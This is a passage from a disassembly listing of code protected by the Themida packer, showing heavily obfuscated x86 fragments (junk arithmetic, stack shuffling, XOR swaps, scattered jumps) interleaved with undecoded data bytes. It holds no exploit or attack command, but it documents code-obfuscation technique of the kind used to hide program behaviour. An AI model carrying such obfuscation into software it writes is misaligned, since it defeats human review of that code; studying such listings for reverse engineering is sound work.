loc_5A9443:				; CODE XREF: Themida_:005A2214j
		mov	edx, 31BF749Bh
		add	edx, 0BCB58B8h
		jmp	loc_59E799
; ---------------------------------------------------------------------------
		db 0F7h
		dd 44F181D9h, 894AC4F5h, 240C8BCAh, 4C481h, 99E90000h
		dd 8B000034h, 0C4832414h, 2434FF04h, 0FF6FBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9479:				; CODE XREF: Themida_:005A6CA8j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	ebp, ecx
		jmp	loc_59B25D
; ---------------------------------------------------------------------------


loc_5A948C:				; CODE XREF: Themida_:0059964Aj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	2414h
		mov	[esp], eax
		jmp	loc_59A744
; ---------------------------------------------------------------------------


loc_5A94AE:				; CODE XREF: Themida_:0059DB7Ej
		mov	bh, 40h
		sub	ch, 0D8h
		add	ch, bh
		add	ch, 0D8h
		jmp	loc_5A8E1F
; ---------------------------------------------------------------------------
aPirhX		db 'P‰ΰhΒx',0
		dd 242C8900h, 11286853h, 815B12DFh, 0AA7884EBh,	0CC800F6Dh
		dd 83FFFF11h, 0E381FFEBh, 78003E9h, 945BE56h, 0C6810686h
		dd 1A5B5A08h, 0FFC30DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A94F5:				; CODE XREF: Themida_:005A3C81j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	7002h
		mov	[esp], edi
		jmp	loc_5AD98A
; ---------------------------------------------------------------------------


loc_5A950D:				; CODE XREF: Themida_:005AF04Cj
		or	dl, al
		pop	eax
		not	dl
		sub	dl, 0E7h
		jmp	loc_5A682F
; ---------------------------------------------------------------------------


loc_5A951A:				; CODE XREF: Themida_:loc_5988A9j
					; Themida_:005A9AF3j
		sub	ecx, 6B34794Ah
		jl	loc_59BA2D
		jmp	loc_5A9B5C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D12A09C6h
		db 32h
; ---------------------------------------------------------------------------


loc_5A9531:				; CODE XREF: Themida_:005AD396j
		xor	ebx, 983FE4C1h
		jmp	loc_59F642
; ---------------------------------------------------------------------------


loc_5A953C:				; CODE XREF: Themida_:005A1D9Dj
					; Themida_:005A3E72j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5AC694
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF5h, 904C483h,	29E91C6Fh
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9557:				; CODE XREF: Themida_:005AE392j
		sub	bl, dl
		pop	edx
		add	bl, cl
		add	bl, 56h
		pop	cx
		movzx	eax, al
		push	small 685Dh
		jmp	loc_59C7A9
; ---------------------------------------------------------------------------


loc_5A956D:				; CODE XREF: Themida_:005987E1j
		mov	esi, 0F6FCBC30h
		jmp	loc_5A557A
; ---------------------------------------------------------------------------


loc_5A9577:				; CODE XREF: Themida_:00599A4Dj
		and	ecx, 328C1ADDh
		push	4E85h
		mov	[esp], ebx
		mov	ebx, 567241EFh
		not	ebx
		push	edi
		mov	edi, 0
		sub	edi, ebx
		xchg	edi, ebx
		pop	edi
		xor	ebx, 8C5384Ch
		dec	ebx
		push	eax
		mov	eax, 779A3EE5h
		dec	eax
		and	eax, 2832730h
		sub	eax, 0EF082496h
		xor	ebx, eax
		pop	eax
		add	ebx, 0CDD4FE3Bh
		jmp	loc_5A7F68
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 242C895Ch, 195B68h, 24348900h, 0B6A76BEh, 34E68177h
		dd 0F5C6E68h, 0FF8D8483h, 2EEC1FFh, 8E34850Fh, 8E9FFFFh
		dd 51FFFF8Dh, 4B9h, 0E9CA2900h,	0FFFF6B01h, 4C181h, 0C1830000h
		dd 5658E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9606:				; CODE XREF: Themida_:005AEB38j
		pop	edx
		pop	ebx
		jmp	loc_5A35C7
; ---------------------------------------------------------------------------


loc_5A960D:				; CODE XREF: Themida_:005A978Ej
		xchg	eax, [esp]
		mov	esp, [esp]
		push	7B1Ch
		mov	[esp], ecx
		push	4
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A8DDE
; ---------------------------------------------------------------------------


loc_5A962F:				; CODE XREF: Themida_:005A8D33j
		neg	ecx
		jmp	loc_59B666
; ---------------------------------------------------------------------------


loc_5A9636:				; CODE XREF: Themida_:005AD5AEj
		push	ecx
		jmp	loc_5A23AE
; ---------------------------------------------------------------------------


loc_5A963C:				; CODE XREF: Themida_:0059B0BEj
		neg	eax
		push	ecx
		push	660947C7h
		pop	ecx
		xor	ecx, 1DA5165Ah
		sub	eax, ecx
		jmp	loc_5AA9EF
; ---------------------------------------------------------------------------


loc_5A9652:				; CODE XREF: Themida_:005A51DDj
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_59F9DA
; ---------------------------------------------------------------------------
		dd 240C895Ch, 5816E9h, 4EA8300h, 0FF2614E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A966D:				; CODE XREF: Themida_:loc_5A7D10j
		or	eax, 7CC95B89h
		or	eax, 280E65E8h
		jno	loc_59D2C8
		jmp	loc_5A2B2D
; ---------------------------------------------------------------------------
		dw 0E280h
		dd 0D6EA80A8h, 5007EAC0h, 0CD81D5F7h, 62802628h, 8103EDC1h
		dd 7D64C3E5h, 4CF58164h, 81076F53h, 3E378BF5h, 5DEB0103h
		dd 0E9E08950h, 0FFFF9848h, 24048B66h, 685A5452h, 3CDh
		dd 0BE243489h, 4, 16E9F201h, 55FFFF4Ch,	0FFB891E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A96D5:				; CODE XREF: Themida_:005A8332j
		jmp	loc_5A6952
; ---------------------------------------------------------------------------


loc_5A96DA:				; CODE XREF: Themida_:00599962j
		sub	ecx, 39502BACh
		add	ecx, 5CF5573Dh
		sub	ecx, edi
		sub	ecx, 5CF5573Dh
		push	eax
		mov	eax, 39502BACh
		add	ecx, eax
		pop	eax
		jmp	loc_59859C
; ---------------------------------------------------------------------------
		dd 0FF5D30E9h, 4C483FFh, 70DE9h, 240C8B00h, 51E68956h
		dd 0A0BF5750h, 5174635Eh, 42AB36B9h, 59CF01EAh,	3C8BF889h
		dd 4C48324h, 2A8B0F48h,	5000057h, 475D42F3h, 442A8B0Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A973A:				; CODE XREF: Themida_:0059906Fj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5AF1CD
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8C868h, 24048900h, 25E9E089h, 0FFFFFFA7h,	34FF2434h
		dd 240C8B24h, 0E9E78957h, 0FFFEEDAFh
; ---------------------------------------------------------------------------


loc_5A9774:				; CODE XREF: Themida_:0059E4C8j
		pop	esp
		jmp	loc_5AA44D
; ---------------------------------------------------------------------------


loc_5A977A:				; CODE XREF: Themida_:005A6AA7j
		add	eax, 4
		push	edi
		mov	edi, 4B753C95h
		sub	edi, 4B753C91h
		add	eax, edi
		pop	edi
		jmp	loc_5A960D
; ---------------------------------------------------------------------------


loc_5A9793:				; CODE XREF: Themida_:005A0D81j
		push	eax
		mov	eax, 228A2F9Bh
		not	eax
		jmp	loc_5AEEEA
; ---------------------------------------------------------------------------


loc_5A97A0:				; CODE XREF: Themida_:0059B389j
		jmp	loc_5ABF6F
; ---------------------------------------------------------------------------


loc_5A97A5:				; CODE XREF: Themida_:005A4415j
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5AD760
; ---------------------------------------------------------------------------


loc_5A97B0:				; CODE XREF: Themida_:005ACAEEj
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	5677h
		mov	[esp], edx
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5A7AA3
; ---------------------------------------------------------------------------


loc_5A97F8:				; CODE XREF: Themida_:005AC3DFj
		neg	edi
		jns	loc_59CED9
		jmp	loc_5A1FCD
; ---------------------------------------------------------------------------


loc_5A9805:				; CODE XREF: Themida_:0059AC41j
					; Themida_:loc_5A0B73j
		pop	ebx
		xor	ebx, 64116AE8h
		mov	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_59E67E
; ---------------------------------------------------------------------------
		dd 89240C89h, 4BE56E1h,	1000000h, 0E9535EF1h, 0FFFFFB08h
		dd 240C8B66h, 1EC468h, 0C229E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A983E:				; CODE XREF: Themida_:005AB28Dj
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebp
		jmp	loc_5AD0B1
; ---------------------------------------------------------------------------
a@0xs		db '΅@0ει,',7,0
		dw 6800h
		dd 0F7Ah, 81240489h, 4ECh, 1C916800h, 0EC810000h, 4, 83242489h
		dd 8F042404h, 0EE682404h, 0E900005Ah, 0FFFF6EC9h
; ---------------------------------------------------------------------------


loc_5A9884:				; CODE XREF: Themida_:005A2272j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5A2950
; ---------------------------------------------------------------------------
		dd 0FAF0C381h, 8E2D399Ch, 29147B3Ch, 3C8E05D8h,	55B147Bh
		dd 1E304C22h, 222DD829h, 811E304Ch, 4ECh, 240C8900h, 0C70E668h
		dd 240C8B39h, 81E28952h, 4C2h, 0B06E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A98D2:				; CODE XREF: Themida_:0059B535j
		pop	ebx
		sub	ecx, 0FDEECF7Bh
		add	esi, ecx
		jmp	loc_5AA939
; ---------------------------------------------------------------------------
		dd 33EB68h, 24248900h, 4B850h, 44010000h, 48B0424h, 4C48324h
		dd 0E9240C8Bh, 0FFFF0D93h, 58C2015Bh, 0FF6EB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9909:				; CODE XREF: Themida_:005A6262j
		dec	ebx
		jns	loc_5A7185
		jmp	loc_5A140C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 88000000h
		db 0EBh, 0B0h, 5
; ---------------------------------------------------------------------------


loc_5A991F:				; CODE XREF: Themida_:005A3D8Dj
					; Themida_:005A4010j
		mov	ecx, 72C81F85h
		shl	ecx, 4
		sub	ecx, 793070D3h
		shl	ecx, 4
		and	ecx, 632454CEh
		sub	ecx, 3351751h
		jmp	loc_5AB762
; ---------------------------------------------------------------------------


loc_5A9941:				; CODE XREF: Themida_:0059F16Aj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A563F
; ---------------------------------------------------------------------------


loc_5A994C:				; CODE XREF: Themida_:005AE130j
		add	ebx, 29B56404h
		sub	ebx, 16C63169h
		xor	eax, ebx
		pop	ebx
		add	eax, 97981A6Bh
		push	esi
		mov	esi, eax
		jmp	loc_59EF9D
; ---------------------------------------------------------------------------


loc_5A9968:				; CODE XREF: Themida_:005AD961j
		push	edi
		mov	edi, 124C0B93h
		neg	edi
		shr	edi, 6
		shl	edi, 7
		and	edi, 2DEF3674h
		shl	edi, 5
		sub	edi, 2C82C4F4h
		mov	ecx, edi
		pop	edi
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		sub	edi, offset aEEEEEEEEEEEEEE ; "₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί"...
		sub	edi, 13DA2498h
		jmp	loc_5A1CB4
; ---------------------------------------------------------------------------


loc_5A99A3:				; CODE XREF: Themida_:005A02B4j
		js	loc_59A095
		xor	ebp, 18604524h
		jmp	loc_5A530A
; ---------------------------------------------------------------------------


loc_5A99B4:				; CODE XREF: Themida_:005A4CB8j
		add	esp, 4
		jmp	loc_5A2439
; ---------------------------------------------------------------------------


loc_5A99BC:				; CODE XREF: Themida_:0059A22Cj
		add	esi, ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2EDA560Dh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 28C0A9Dh
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_59BCBD
; ---------------------------------------------------------------------------


loc_5A99EF:				; CODE XREF: Themida_:005A2CDEj
		mov	ebx, 4
		jmp	loc_5AB320
; ---------------------------------------------------------------------------


loc_5A99F9:				; CODE XREF: Themida_:005AC101j
		pop	dx
		shl	bl, 2
		sub	bl, 1Ah
		sub	bl, 95h
		sub	al, bl
		jmp	loc_5AD3FD
; ---------------------------------------------------------------------------


loc_5A9A0B:				; CODE XREF: Themida_:loc_59860Cj
		dec	ecx
		jl	loc_5AC7D8
		jmp	loc_59DC2B
; ---------------------------------------------------------------------------


loc_5A9A17:				; CODE XREF: Themida_:0059F737j
		add	esp, 4
		add	edx, 4157882h
		push	ecx
		mov	ecx, 0
		jmp	loc_5A691B
; ---------------------------------------------------------------------------


loc_5A9A2E:				; CODE XREF: Themida_:005A3244j
		push	esi
		mov	esi, 4F563E4Ch
		or	esi, 190283Fh
		jmp	loc_5A4D62
; ---------------------------------------------------------------------------


loc_5A9A3F:				; CODE XREF: Themida_:loc_5A1F7Aj
		xor	edx, 3F1A2417h
		jmp	loc_5A4856
; ---------------------------------------------------------------------------


loc_5A9A4A:				; CODE XREF: Themida_:005A8F85j
		pop	eax
		push	eax
		mov	eax, 22EA2149h
		add	ebx, eax
		pop	eax
		mov	edi, ebx
		pop	ebx
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		jmp	loc_5A6805
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 55E97D92h, 784ABF57h, 7C295B67h, 3C8B0424h, 4C48324h
		dd 0FEE903E9h, 241C89FFh, 0FF4A76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9A91:				; CODE XREF: Themida_:005A4D5Dj
		pop	ecx
		add	bl, dh
		mov	edx, [esp]
		jmp	loc_59CF68
; ---------------------------------------------------------------------------


loc_5A9A9C:				; CODE XREF: Themida_:005A3780j
		mov	ecx, [esp]
		push	esi
		jmp	loc_5AC082
; ---------------------------------------------------------------------------
		db 35h,	0DCh, 66h
		dd 71255450h, 0D2EC63Ah, 7336605Fh, 0F67A5E2Dh,	8BC6017Fh
		dd 0C4832404h, 0F066E904h, 5658FFFFh, 0FE6864BEh, 60EE8112h
		dd 2912FE68h, 4BA8E9F7h, 58660000h, 0E9C828h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9AE3:				; CODE XREF: Themida_:0059BFB1j
		mov	[esp], ecx
		jmp	loc_5A233B
; ---------------------------------------------------------------------------


loc_5A9AEB:				; CODE XREF: Themida_:005A3CDAj
		xor	ebx, edi
		jmp	loc_5AABB3
; ---------------------------------------------------------------------------


loc_5A9AF2:				; CODE XREF: Themida_:0059F88Aj
		push	edi
		jmp	loc_5A951A
; ---------------------------------------------------------------------------
		dd 0E904C683h, 0FFFEF2BAh
; ---------------------------------------------------------------------------


loc_5A9B00:				; CODE XREF: Themida_:0059F72Dj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AE274
; ---------------------------------------------------------------------------


loc_5A9B0F:				; CODE XREF: Themida_:0059959Aj
					; Themida_:005AEF6Cj
		push	eax
		push	edx
		mov	edx, 0B8353DCh
		mov	eax, 7F1A0FFBh
		xor	eax, edx
		pop	edx
		or	eax, 766301F4h
		shr	eax, 7
		jmp	loc_5A63D4
; ---------------------------------------------------------------------------
		db 50h
		dd 0B7AB35B8h, 58C531CEh, 0EE9EA89h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A9B3B:				; CODE XREF: Themida_:005AE0C0j
		pop	esp
		xor	eax, [esp]
		jmp	loc_59E55E
; ---------------------------------------------------------------------------


loc_5A9B44:				; CODE XREF: Themida_:0059A620j
		add	edx, 50A45E34h
		or	edx, 0B57122Ah
		jmp	loc_5AA31A
; ---------------------------------------------------------------------------


loc_5A9B55:				; CODE XREF: Themida_:0059B61Ej
					; Themida_:005AC886j
		sub	edx, eax
		jmp	loc_59D110
; ---------------------------------------------------------------------------


loc_5A9B5C:				; CODE XREF: Themida_:005A9526j
		add	ebp, edx
		sub	ebp, 69C5CEDh
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_5A6DC0
; ---------------------------------------------------------------------------


loc_5A9B74:				; CODE XREF: Themida_:0059CEC7j
		mov	[esp], edx
		mov	edx, 1000000h
		and	eax, edx
		jmp	loc_5ACBB8
; ---------------------------------------------------------------------------


loc_5A9B83:				; CODE XREF: Themida_:0059C17Cj
		push	edx
		mov	edx, esp
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A004A
; ---------------------------------------------------------------------------


loc_5A9B95:				; CODE XREF: Themida_:0059E753j
		jbe	loc_5A6916
		jmp	loc_5ACF9B
; ---------------------------------------------------------------------------
		dd 181D101h, 1
; ---------------------------------------------------------------------------


loc_5A9BA8:				; CODE XREF: Themida_:00599A42j
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_5A8019
; ---------------------------------------------------------------------------


loc_5A9BB5:				; CODE XREF: Themida_:0059C10Bj
		pop	esp
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	0F5Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AE0C5
; ---------------------------------------------------------------------------


loc_5A9BD3:				; CODE XREF: Themida_:005A84BBj
		mov	esi, 18CB260Ah
		jmp	loc_59E3DA
; ---------------------------------------------------------------------------


loc_5A9BDD:				; CODE XREF: Themida_:0059881Dj
		neg	edi
		js	loc_5A561C
		sub	edi, 7C74A3EFh
		mov	ecx, edi
		pop	edi
		jmp	loc_5A613F
; ---------------------------------------------------------------------------
		db 50h
; ---------------------------------------------------------------------------


loc_5A9BF4:				; CODE XREF: Themida_:005AA4A5j
		push	eax
		mov	al, 62h
		sub	al, 3Dh
		mov	bl, al
		jmp	loc_5AD32D
; ---------------------------------------------------------------------------


loc_5A9C00:				; CODE XREF: Themida_:005A7745j
		not	esi
		sub	esi, 0CED3CACEh
		jmp	loc_59F8AA
; ---------------------------------------------------------------------------


loc_5A9C0D:				; CODE XREF: Themida_:005ACD8Bj
		mov	edx, 27295BF2h
		inc	edx
		jns	loc_59BFE2
		and	edx, 2EA45897h
		jb	loc_5A4413
		shr	edx, 8


loc_5A9C28:				; CODE XREF: Themida_:005A4C7Dj
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	[esp+4], ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A44C1
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 6896846h, 8937E956h, 2C8BFFFFh, 4C48324h
		dd 4C481h, 51420000h, 0FFE297E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9C6D:				; CODE XREF: Themida_:005ACBD0j
		mov	ebx, 40F80646h
		xor	ebx, edx
		jmp	loc_59A73E
; ---------------------------------------------------------------------------


loc_5A9C79:				; CODE XREF: Themida_:005ACE94j
		push	esp
		mov	edx, [esp]
		jmp	loc_5A486B
; ---------------------------------------------------------------------------


loc_5A9C82:				; CODE XREF: Themida_:005A9D92j
		pop	eax
		xor	ebp, eax
		pop	eax
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5AB599
; ---------------------------------------------------------------------------


loc_5A9C90:				; CODE XREF: Themida_:005A18B6j
					; Themida_:005A3DA9j
		jz	loc_5A765C
		jmp	loc_5A1396
; ---------------------------------------------------------------------------


loc_5A9C9B:				; CODE XREF: Themida_:loc_598C19j
		lodsd
		sub	esp, 4
		mov	[esp], ebp
		push	38784511h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5A9094
; ---------------------------------------------------------------------------


loc_5A9CB6:				; CODE XREF: Themida_:0059F9D5j
		mov	eax, ebp
		pop	ebp
		jmp	loc_5993DA
; ---------------------------------------------------------------------------


loc_5A9CBE:				; CODE XREF: Themida_:005A63E4j
		and	eax, 12617D03h
		or	eax, 11E1BFAh
		shl	eax, 5
		jmp	loc_59B972
; ---------------------------------------------------------------------------


loc_5A9CD0:				; CODE XREF: Themida_:loc_5A6916j
		sub	ebp, 65002378h
		jmp	loc_5A63C1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A9E92424h, 89FFFEE6h, 0FF54243Ch, 3C8B2434h, 4EC8324h
		dd 0FF994EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9CF5:				; CODE XREF: Themida_:005A39D8j
		add	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 69E47673h
		jmp	loc_5AD4EF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 40E905EEh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9D0B:				; CODE XREF: Themida_:0059E68Fj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 5B004CEBh
		push	ecx
		mov	ecx, 1C1D28FDh
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 0F190B86h
		add	ebp, esi
		add	ebp, 0F190B86h
		mov	esi, [esp]
		jmp	loc_59BB71
; ---------------------------------------------------------------------------
		dd 77A1C381h, 0E4E9565Fh
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9D4F:				; CODE XREF: Themida_:005ABB77j
		sub	dl, 1
		jmp	loc_5A616C
; ---------------------------------------------------------------------------


loc_5A9D57:				; CODE XREF: Themida_:0059D42Dj
		inc	ah
		add	ah, 0E7h
		sub	cl, ah
		pop	eax
		xor	cl, 0C6h
		sub	bl, cl
		pop	ecx
		jmp	loc_598793
; ---------------------------------------------------------------------------


loc_5A9D6A:				; CODE XREF: Themida_:00599771j
		mov	ebp, 66DD34ADh
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_599BE2
; ---------------------------------------------------------------------------


loc_5A9D7F:				; CODE XREF: Themida_:loc_5A7D38j
		inc	ebx
		jmp	loc_5ABE17
; ---------------------------------------------------------------------------


loc_5A9D85:				; CODE XREF: Themida_:005A6C10j
		jz	loc_59A9D0
		add	eax, 0B90A6871h
		mov	ebp, eax
		jmp	loc_5A9C82
; ---------------------------------------------------------------------------


loc_5A9D97:				; CODE XREF: Themida_:0059ABD0j
					; Themida_:0059FB85j
		pop	edi
		push	2915h
		mov	[esp], ebp
		jmp	loc_5A2E89
; ---------------------------------------------------------------------------
		db 5Bh,	52h, 0BAh
		dd 4, 5E74BE56h, 0BB531489h, 3CED71B9h,	815BDE29h, 3A081CEEh
		dd 0E7B6E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9DC6:				; CODE XREF: Themida_:005AE8F5j
		mov	[esp], ecx
		push	60E1h
		mov	[esp], ebp
		mov	ebp, 795F2983h
		add	ebp, 1
		push	edi
		mov	edi, 2FC10CA9h
		dec	edi
		shr	edi, 2
		add	edi, 6D6EE65Ch
		xor	ebp, edi
		pop	edi
		mov	ecx, ebp
		mov	ebp, [esp]
		push	35F1h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59F7B3
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 6C8414FCh, 0A691840Fh, 0D3F7FFFFh, 0B0F8C381h, 0E953B7C4h
		dd 322Bh, 83240C8Bh, 0ADE904C4h, 66FFFF8Fh, 2244481h, 55663D96h
		dd 0FF4C97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9E49:				; CODE XREF: Themida_:loc_5A7794j
					; Themida_:005AB6AEj ...
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59F16F
; ---------------------------------------------------------------------------


loc_5A9E5F:				; CODE XREF: Themida_:005A0890j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 60765728h
		not	eax
		add	eax, 0C810EE5Eh
		sub	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_598FF8
; ---------------------------------------------------------------------------


loc_5A9E89:				; CODE XREF: Themida_:005A36EDj
		pop	edx
		add	eax, edx
		jmp	loc_5AA8CA
; ---------------------------------------------------------------------------


loc_5A9E91:				; CODE XREF: Themida_:005A8D75j
		sub	eax, ebp
		add	eax, 6E231FFDh
		jmp	loc_59C96C
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FCE95A54h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9EA7:				; CODE XREF: Themida_:005AD4EAj
		xor	eax, ecx
		jmp	loc_5A57C5
; ---------------------------------------------------------------------------


loc_5A9EAE:				; CODE XREF: Themida_:loc_5A614Cj
		xor	bl, 19h
		jmp	loc_5A8803
; ---------------------------------------------------------------------------


loc_5A9EB6:				; CODE XREF: Themida_:loc_59A35Cj
		dec	ebx
		jno	loc_5A6911
		jmp	loc_59ADA7
; ---------------------------------------------------------------------------
		dw 0A8E9h
		dd 53FFFF55h
; ---------------------------------------------------------------------------


loc_5A9EC8:				; CODE XREF: Themida_:005AB41Cj
		add	esp, 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_59927B
; ---------------------------------------------------------------------------


loc_5A9EDE:				; CODE XREF: Themida_:0059FFB6j
		sub	eax, ecx
		sub	eax, 9F81A20h
		pop	ecx
		sub	ebp, 1AED1D47h
		sub	ebp, 211A5681h
		add	ebp, eax
		add	ebp, 211A5681h
		add	ebp, 1AED1D47h
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A530A
; ---------------------------------------------------------------------------


loc_5A9F0F:				; CODE XREF: Themida_:00599788j
		add	edi, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5A8477
; ---------------------------------------------------------------------------


loc_5A9F1A:				; CODE XREF: Themida_:005A8666j
		mov	ebx, 4BBA00C5h
		jmp	loc_5ABD72
; ---------------------------------------------------------------------------


loc_5A9F24:				; CODE XREF: Themida_:005AC667j
		add	edx, 32B101F7h
		push	ebp
		mov	ebp, 4DB8228Bh
		jmp	loc_5A2DA8
; ---------------------------------------------------------------------------


loc_5A9F35:				; CODE XREF: Themida_:005AB22Dj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59D327
; ---------------------------------------------------------------------------


loc_5A9F4C:				; CODE XREF: Themida_:005989C2j
		pop	eax
		push	53h
		mov	[esp], esi
		mov	esi, 8650A23h
		sub	ebp, esi
		pop	esi
		sub	ebp, edi
		add	ebp, 8650A23h
		jmp	loc_5A36F7
; ---------------------------------------------------------------------------


loc_5A9F6A:				; CODE XREF: Themida_:005A1CC1j
		push	edx
		push	esp
		pop	edx
		jmp	loc_5ACE7C
; ---------------------------------------------------------------------------


loc_5A9F72:				; CODE XREF: Themida_:005ACE77j
		mov	ax, [esp]
		push	1E87h
		mov	[esp], ebp
		jmp	loc_5A0E9A
; ---------------------------------------------------------------------------
		db 58h
		dd 0FEFF8DE9h, 0BEF581FFh, 0F5C956Fh, 0FFDBC381h, 85CD81FFh
		dd 0F496947h, 0FF8E5980h, 1C77FFFFh, 0D259669Dh, 0E99C2414h
		dd 0FFFEE3DCh
; ---------------------------------------------------------------------------


loc_5A9FB0:				; CODE XREF: Themida_:loc_5A6C2Cj
		and	esi, 397391Bh
		jnz	loc_5A0F6E
		not	esi
		push	ebx
		mov	ebx, 0FF7FFEF9h
		xor	esi, ebx
		mov	ebx, [esp]


loc_5A9FC9:				; CODE XREF: Themida_:005ADFC7j
		xor	ebx, ecx
		not	ecx
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		push	60F0h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A74B1
; ---------------------------------------------------------------------------


loc_5A9FE9:				; CODE XREF: Themida_:005AD8D3j
		mov	[esp], ebp
		jmp	loc_5AA15D
; ---------------------------------------------------------------------------


loc_5A9FF1:				; CODE XREF: Themida_:005A2250j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59E7B3
; ---------------------------------------------------------------------------


loc_5A9FFF:				; CODE XREF: Themida_:005AB05Ej
		add	ecx, ebp
		pop	ebp
		push	esi
		sub	esp, 4
		jmp	loc_5A5E44
; ---------------------------------------------------------------------------
aRs		db 'Rι(!',0
		align 4


